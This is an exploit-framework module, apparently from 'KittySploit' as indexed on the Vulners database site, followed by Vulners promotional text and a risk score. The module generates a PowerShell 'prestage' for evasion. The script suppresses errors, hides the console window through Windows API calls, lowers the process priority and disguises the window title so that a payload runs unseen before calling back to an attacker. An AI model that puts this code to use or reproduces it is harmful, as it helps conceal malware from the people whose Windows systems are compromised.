Daemonize / Hide Console (PowerShell)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from typing import Any, Dict
from kittysploit import *
class Module(Prestage):
PRESTAGE_ID = "daemonize"
__info__ = {
"name": "Daemonize / Hide Console (PowerShell)",
"description": "Hide console window and lower process priority before callback",
"author": "KittySploit Team",
"version": "1.0.0",
"platform": Platform.WINDOWS,
"languages": ["powershell"],
"dependencies": [],
"tags": ["evasion", "prestage", "offline", "powershell", "windows"],
}
def generate_powershell(self, context: Dict[str, Any] = None) -> str:
return """
$ErrorActionPreference='SilentlyContinue'
try {
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class KittyHideConsole {
[DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
}
"@
[KittyHideConsole]::ShowWindow([KittyHideConsole]::GetConsoleWindow(), 0) | Out-Null
} catch {}
try {
[Diagnostics.Process]::GetCurrentProcess().PriorityClass = [Diagnostics.ProcessPriorityClass]::BelowNormal
} catch {}
try {
$host.UI.RawUI.WindowTitle = 'Windows PowerShell'
} catch {}
""".strip()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Aug 2026 05:37Current
5.8Medium risk
Vulners AI Score5.8